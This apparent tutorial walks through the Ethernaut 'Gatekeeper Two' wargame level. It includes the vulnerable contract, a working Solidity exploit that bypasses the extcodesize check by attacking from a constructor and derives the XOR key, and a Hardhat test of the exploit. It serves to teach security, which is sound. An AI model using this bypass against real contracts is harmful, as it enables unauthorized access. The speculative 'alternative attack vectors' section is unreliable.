Skip to content
On this page

Mastering the Gatekeeper Two Challenge: A Deep Dive into Ethereum Smart Contract Security

Introduction

The Gatekeeper Two challenge from OpenZeppelin's Ethernaut represents an advanced smart contract security puzzle that tests a developer's understanding of Ethereum's execution model, assembly operations, and cryptographic principles. This technical article will provide a comprehensive analysis of the challenge, breaking down each component and explaining the sophisticated techniques required to bypass its security mechanisms.

Understanding the Challenge Context

The Ethernaut Platform

Ethernaut is a Web3/Solidity-based wargame where each level represents a smart contract vulnerability to exploit. Created by OpenZeppelin, it serves as an educational platform for developers to learn about smart contract security in a hands-on environment. The Gatekeeper Two challenge, authored by 0age, builds upon concepts introduced in previous levels while introducing new, more complex security mechanisms.

Previous Knowledge Prerequisites

As hinted in the challenge description, successful completion requires understanding from:

  1. Gatekeeper One: Understanding the first gate's mechanism
  2. Coin Flip: Grasping blockchain-based randomness and transaction patterns
  3. Basic Solidity Assembly: Working with low-level EVM operations
  4. Yellow Paper Section 7: Understanding contract creation and code size

Analyzing the GatekeeperTwo Contract

Contract Structure Overview

The GatekeeperTwo contract implements three distinct security gates, each protected by a modifier. Let's examine the complete contract structure:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

Gate One: Contract vs. EOA Distinction

The first gate implements a fundamental security check that distinguishes between Externally Owned Accounts (EOAs) and Contract Accounts:

solidity
modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
}

Key Concepts:

  • msg.sender: The immediate caller of the function (could be EOA or contract)
  • tx.origin: The original EOA that initiated the transaction chain

Security Implication: This prevents direct calls from EOAs, forcing attackers to use an intermediary contract. This is a common pattern to prevent simple front-running or direct exploitation.

Gate Two: Contract Code Size Check

The second gate introduces Solidity assembly and uses the extcodesize opcode:

solidity
modifier gateTwo() {
    uint256 x;
    assembly {
        x := extcodesize(caller())
    }
    require(x == 0);
    _;
}

Understanding Assembly in Solidity:

  • The assembly block allows direct EVM opcode access
  • caller() is equivalent to msg.sender in assembly context
  • extcodesize(address) returns the size of code at the given address

The Challenge: At first glance, this seems impossible—how can a contract have zero code size? The answer lies in understanding when extcodesize is evaluated during contract creation.

Gate Three: Cryptographic XOR Operation

The third gate implements a cryptographic check using XOR operations:

solidity
modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
}

Breaking Down the Operation:

  1. keccak256(abi.encodePacked(msg.sender)): Creates a 256-bit hash of the caller's address
  2. bytes8(...): Takes the first 8 bytes (64 bits) of the hash
  3. uint64(...): Converts to 64-bit unsigned integer
  4. ^: Bitwise XOR operation
  5. type(uint64).max: Maximum value for uint64 (2^64 - 1)

Mathematical Insight: The equation A ^ B = C can be rearranged as B = A ^ C. This is crucial for deriving the key.

Deep Dive: Solving Each Gate

Bypassing Gate One: Contract Intermediary

The solution to gate one is straightforward—we need to call the enter function from a contract rather than directly from an EOA. This establishes:

  • msg.sender = Our attack contract address
  • tx.origin = Our EOA address
  • Thus, msg.sender != tx.origin condition is satisfied

Bypassing Gate Two: The Constructor Trick

This is the most subtle part of the challenge. During contract construction, before the constructor completes execution, the contract's code is not yet stored at its address. The EVM sets the code only after the constructor finishes.

Yellow Paper Reference: Section 7 of the Ethereum Yellow Paper specifies that a contract's code is only saved to state after successful execution of its creation transaction.

Implementation Strategy: By placing our attack logic in the constructor of our exploit contract, we ensure that when extcodesize(caller()) is evaluated:

  • The caller is our attack contract
  • The attack contract is still in construction
  • Therefore, its code size is 0

Bypassing Gate Three: Mathematical Derivation

From the requirement:

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max

Let:

  • A = uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
  • B = uint64(_gateKey)
  • C = type(uint64).max

The equation becomes: A ^ B = C

Using XOR properties:

  • XOR is commutative: A ^ B = B ^ A
  • XOR with same value cancels: A ^ A = 0
  • XOR with 0 does nothing: A ^ 0 = A

To solve for B:

A ^ B = C
A ^ A ^ B = A ^ C  (XOR both sides with A)
0 ^ B = A ^ C      (A ^ A = 0)
B = A ^ C          (0 ^ B = B)

Therefore:

_gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max)

Complete Exploit Implementation

The Hack Contract

Here's the complete exploit contract with detailed explanations:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperTwo {
    function entrant() external view returns (address);
    function enter(bytes8) external returns (bool);
}

contract Hack {
    IGatekeeperTwo private immutable target;

    constructor(address _target) {
        // Store the target contract address
        target = IGatekeeperTwo(_target);
        
        // Calculate the gate key using the derived formula
        // A = uint64(bytes8(keccak256(abi.encodePacked(address(this)))))
        // C = type(uint64).max
        // B = A ^ C
        uint64 senderHash = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        uint64 keyValue = senderHash ^ type(uint64).max;
        
        // Convert to bytes8 for the function parameter
        bytes8 key = bytes8(keyValue);
        
        // Call enter() from constructor to bypass gateTwo
        require(target.enter(key), "Enter fail!");
    }
}

Key Implementation Details

  1. Interface Definition: Using an interface provides type safety and clear function signatures.

  2. Immutable Storage: The immutable keyword ensures target is set once in the constructor and cannot be modified, saving gas.

  3. Constructor Execution: All attack logic is in the constructor to exploit the extcodesize vulnerability.

  4. Key Calculation: The mathematical derivation is implemented directly:

    • Calculate hash of contract address
    • Extract first 8 bytes as uint64
    • XOR with max uint64 value
    • Convert back to bytes8
  5. Error Handling: The require statement ensures the attack fails clearly if something goes wrong.

Testing the Solution

Hardhat Test Implementation

A comprehensive test suite validates our solution:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { GatekeeperTwo, Hack } from "../typechain-types";

describe("GatekeeperTwo", function () {
  describe("GatekeeperTwo Exploit Test", function () {
    it("Should successfully bypass all gates and set entrant", async function () {
      // Deploy the GatekeeperTwo contract
      const GatekeeperTwoFactory = await ethers.getContractFactory("GatekeeperTwo");
      const gatekeeperTwo = await GatekeeperTwoFactory.deploy();
      await gatekeeperTwo.waitForDeployment();
      
      // Get the challenger's address
      const [challenger] = await ethers.getSigners();
      
      // Deploy the Hack contract (attack happens in constructor)
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = await HackFactory.deploy(await gatekeeperTwo.getAddress());
      await hack.waitForDeployment();
      
      // Verify the entrant is set to the challenger
      const entrant = await gatekeeperTwo.entrant();
      expect(entrant).to.equal(challenger.address);
      
      console.log("Success! Entrant set to:", entrant);
    });
    
    it("Should verify each gate condition", async function () {
      // Additional verification tests can be added here
      // to validate each gate's logic independently
    });
  });
});

Test Execution Flow

  1. Setup: Deploy the GatekeeperTwo contract
  2. Attack: Deploy the Hack contract (executes attack in constructor)
  3. Verification: Check that entrant is set to the challenger's address
  4. Validation: Ensure all security gates were properly bypassed

Advanced Concepts and Variations

Alternative Attack Vectors

While the constructor approach is standard, other methods could theoretically work:

  1. Self-Destructing Contracts: A contract could self-destruct before calling, but this is impractical due to state clearance.

  2. Delegatecall Proxy: Using proxy patterns where implementation logic resides elsewhere.

  3. Precompiled Contracts: Some special addresses have code size 0, but they have limited functionality.

Security Implications for Real Contracts

The GatekeeperTwo challenge teaches several important security lessons:

  1. Timing Attacks: The extcodesize check demonstrates how execution context affects security checks.

  2. Cryptographic Assumptions: Simple XOR operations are not cryptographically secure for access control.

  3. Layer Confusion: Mixing msg.sender and tx.origin checks can create unexpected attack surfaces.

  4. Assembly Risks: Low-level operations require deep understanding of EVM behavior.

Gas Optimization Considerations

The exploit contract demonstrates several gas-saving techniques:

solidity
// Using immutable saves gas compared to regular storage variables
IGatekeeperTwo private immutable target;

// Calculating values in constructor avoids separate function calls
// and associated gas costs for function dispatch

// Packing operations minimize computational steps
uint64 keyValue = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max;

Common Pitfalls and Debugging Tips

Frequent Issues

  1. Incorrect Key Calculation: Ensure you're using the attack contract's address, not the EOA address.

  2. Timing Issues: The attack must happen in the constructor, not a separate function.

  3. Type Conversions: Pay close attention to uint64 vs bytes8 conversions.

  4. Testing Environment Differences: Some testnets or local chains might have different behavior.

Debugging Strategies

  1. Event Logging: Add events to trace execution flow.
  2. Console Logs: Use Hardhat's console.log for debugging.
  3. Step-by-Step Testing: Test each gate independently.
  4. Gas Analysis: Monitor gas usage for unexpected patterns.

Conclusion

The Gatekeeper Two challenge provides a comprehensive lesson in Ethereum smart contract security, combining multiple concepts:

  1. Contract vs EOA distinction through msg.sender and tx.origin
  2. EVM execution context understanding via extcodesize
  3. Cryptographic operations with XOR and hashing
  4. Mathematical derivation for key calculation
  5. Constructor timing exploitation

This challenge emphasizes that smart contract security requires understanding not just Solidity syntax, but also the underlying EVM execution model, cryptographic principles, and mathematical operations. The solution demonstrates how seemingly secure checks can be bypassed through deep understanding of system behavior.

For developers, the key takeaways are:

  • Always consider the execution context of security checks
  • Be cautious with low-level assembly operations
  • Understand the complete lifecycle of contract creation
  • Implement defense-in-depth rather than relying on single checks
  • Regularly audit and test security assumptions

The Gatekeeper Two serves as an excellent training ground for developing the mindset needed to both create secure contracts and ethically test existing ones in the ever-evolving landscape of blockchain security.

Further Reading and Resources

  1. Ethereum Yellow Paper: Section 7 on contract creation
  2. Solidity Documentation: Assembly and low-level operations
  3. OpenZeppelin Security: Best practices and common vulnerabilities
  4. EVM Opcodes Reference: Complete list of EVM operations
  5. Cryptography Basics: XOR operations and their properties

By mastering challenges like Gatekeeper Two, developers build the foundational knowledge necessary to contribute to the security and robustness of the decentralized ecosystem.

Built with AiAda